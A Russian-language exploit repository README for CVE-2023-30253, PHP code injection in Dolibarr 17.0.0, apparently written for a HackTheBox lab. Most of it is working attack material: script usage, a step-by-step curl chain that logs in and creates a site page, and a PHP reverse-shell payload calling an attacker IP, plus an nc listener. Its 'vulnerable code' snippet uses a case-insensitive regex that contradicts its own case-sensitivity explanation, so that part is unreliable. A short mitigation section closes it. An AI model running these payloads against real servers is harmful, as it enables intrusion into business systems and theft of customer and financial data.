
CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE через инъекцию PHP-кода (образовательный эксплойт)
Эксплойт PHP-инъекции для Dolibarr ERP/CRM v17.0.0, позволяющий получить обратную оболочку от пользователя www-data через модуль Website/CMS.
⚠️ Только для образовательных целей и аудита с разрешения.
CVE-2023-30253 — это уязвимость внедрения PHP-кода (CWE-94: Improper Control of Generation of Code) в Dolibarr ERP/CRM версий ниже 17.0.1.
Была обнаружена и сообщена командой Swascan (ныне Hacktivesecurity) в мае 2023 года. Уязвимость находится в модуле Website/CMS, который позволяет аутентифицированным пользователям создавать и управлять веб-сайтами в Dolibarr.
Dolibarr реализует фильтр для предотвращения внедрения PHP-кода в содержимое страниц модуля Website. Однако у этого фильтра есть критический недостаток: он чувствителен к регистру.
// Уязвимый код (упрощённый) в Dolibarr 17.0.0
if (preg_match('/<\?php/i', $content)) {
// Блокирует только "<?php" в точном нижнем регистре... или нет?
die("PHP code detected!");
}
Фильтр ищет буквально строку <?php в нижнем регистре. Но PHP допускает любое сочетание регистров для открывающего тега. Это означает:
Эксплойт использует <?PHP (в верхнем регистре) для обхода фильтра, но подойдёт любой вариант.
Кроме того, фильтр применяется только в момент сохранения содержимого. При отдаче страницы Dolibarr передаёт содержимое интерпретатору PHP без дополнительной очистки, и тот выполняет любой код с открывающим тегом <?.
Аутентифицированный злоумышленник может:
/etc/passwd, конфигурация)Почему это критично? Dolibarr используется как корпоративная ERP/CRM. Вторжение может раскрыть данные клиентов, финансовые данные, контракты и внутренние учётные записи.
Эксплойт автоматизирует полный процесс эксплуатации в 5 шагов:
┌─────────────────────────────────────────────────────────┐
│ CVE-2023-30253 │
│ │
│ 1. Вход → Аутентификация в Dolibarr │
│ 2. Создать сайт → Создание пустого веб-сайта │
│ 3. Создать стр. → Создание страницы на сайте │
│ 4. Внедрить шелл→ Внедрение PHP reverse shell │
│ 5. Запуск → Выполнение полезной нагрузки │
│ │
│ Результат: 🎯 Обратная оболочка от www-data │
└─────────────────────────────────────────────────────────┘
Особенности:
pageidfsockopen + proc_openrequestsbeautifulsoup4Или просто:
pip install -r requirements.txt
# Клонирование репозитория
git clone https://github.com/jeanback1/CVE-2023-30253-exploit.git
cd CVE-2023-30253-exploit
# Установка зависимостей
pip install -r requirements.txt
python exploit.py <target> <username> <password> <lhost> <lport> [опции]
Позиционные аргументы:
Опции:
| Опция | Описание |
|---|---|
-v, --verbose | Показывает подробную отладочную информацию |
--no-color | Отключает цвета в выводе |
-h, --help | Показывает справку и примеры |
nc -lvnp 4444
python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose
════════════════════════════════════════════════════════
CVE-2023-30253 — Dolibarr 17.0.0 RCE Exploit
════════════════════════════════════════════════════════
Target: http://crm.board.htb
User: admin
LHOST: 10.10.14.5
LPORT: 4444
Site ID: s3a1f2bc
──────────────────────────────────────────────────
[10:45:12] Шаг 1/5: Вход в систему...
[10:45:12] ✓ Сессия успешно начата
[10:45:13] Шаг 2/5: Создание веб-сайта...
[10:45:13] ✓ Веб-сайт 's3a1f2bc' создан
[10:45:13] Шаг 3/5: Создание страницы на сайте...
[10:45:13] ✓ Страница создана на сайте
[10:45:14] Шаг 4/5: Внедрение обратной оболочки → 10.10.14.5:4444...
[10:45:14] ✓ Код PHP успешно внедрен
[10:45:14] Шаг 5/5: Выполнение полезной нагрузки (trigger)...
════════════════════════════════════════════════════════
ЭКСПЛУАТАЦИЯ ЗАВЕРШЕНА
════════════════════════════════════════════════════════
Trigger URL:
http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc
Инструкции:
1. В другом терминале запустите слушатель:
nc -lvnp 4444
2. Перейдите по Trigger URL (эксплойт уже это сделал)
3. Вы получите обратную оболочку от www-data
Listening on 0.0.0.0 4444
Connection received on 10.129.231.37 52846
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Если вы предпочитаете понять процесс вручную (без скрипта), вот полный поток:
# Получить куки и CSRF-токен
curl -c cookies.txt http://crm.board.htb/ > /dev/null
# Извлечь токен
TOKEN=$(curl -s -b cookies.txt http://crm.board.htb/ \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
# Логин
curl -b cookies.txt -c cookies.txt \
-X POST "http://crm.board.htb/index.php?mainmenu=home" \
-d "token=$TOKEN&actionlogin=login&loginfunction=loginfunction&username=admin&password=admin"
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?action=createsite" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
-d "token=$TOKEN&action=addsite&WEBSITE_REF=misitio&WEBSITE_TITLE=misitio&addcontainer=Create"
⚠️ Урок: Правильный параметр
action—addsite, а неadd, как указано в некоторых публичных эксплойтах.
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?website=misitio" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
-d "token=$TOKEN&action=addcontainer&website=misitio&WEBSITE_TYPE_CONTAINER=page&WEBSITE_TITLE=TEST&addcontainer=Create"
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?website=misitio&pageid=1&action=editsource" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
PHP='<?PHP $s=fsockopen("10.10.14.5",4444);proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);?>'
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "action=updatesource" \
--data-urlencode "website=misitio" \
--data-urlencode "PAGE_CONTENT=$PHP"
🔑 Ключ атаки: Правильное поле —
PAGE_CONTENT, а неWEBSITE_CONTENT. У многих публичных PoC эта ошибка.
curl "http://crm.board.htb/public/website/index.php?website=misitio&pageref=misitio"
Для защиты сервера Dolibarr от этой уязвимости:
# Обновить до Dolibarr 17.0.1 или новее
# Патч исправляет фильтр для обнаружения любой вариации <?php
Если вы не используете модуль Website/CMS, отключите его:
Home → Setup → Modules → Website → Выключить
# Блокировать любые вариации PHP-тегов в поле PAGE_CONTENT
SecRule ARGS:PAGE_CONTENT "@rx <\?php|< \?php|<\?PHP|<\?[pP][hH][pP]" \
"id:1001,phase:2,deny,status:403,msg:'CVE-2023-30253 PHP Injection blocked'"
Этот проект создан с образовательными и исследовательскими целями в области информационной безопасности. Использование этого эксплойта против систем без явного разрешения незаконно и этически неприемлемо.
Как специалист по кибербезопасности, я твердо верю в:
Создано Jean Carlos
Студент по кибербезопасности | Пентестинг | CTF Player
CVE-2021-3560 •
CVE-2023-27163 •
CVE-2024-46986 •
CVE-2025-2304
| Поле | Значение |
|---|
| CVE | CVE-2023-30253 |
| CVSS v3.1 | 8.8 (ВЫСОКИЙ) |
| Вектор | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Тип | CWE-94 — Внедрение кода |
| Затронутое ПО | Dolibarr ERP/CRM < 17.0.1 |
| Привилегии | Аутентифицированный пользователь (любая роль) |
| Патч | Dolibarr 17.0.1 — коммит 4f6055c |
| Тег | Отфильтровано? | Выполнено PHP? |
|---|
<?php ... ?> | ✅ | ✅ |
<?PHP ... ?> | ❌ | ✅ |
<?Php ... ?> | ❌ | ✅ |
<?pHp ... ?> | ❌ | ✅ |
| Аргумент | Описание | Пример |
|---|
target | Базовый URL Dolibarr | http://crm.board.htb |
username | Пользователь Dolibarr | admin |
password | Пароль Dolibarr | admin |
lhost | Ваш IP (для получения оболочки) | 10.10.14.5 |
lport | Ваш порт (для получения оболочки) | 4444 |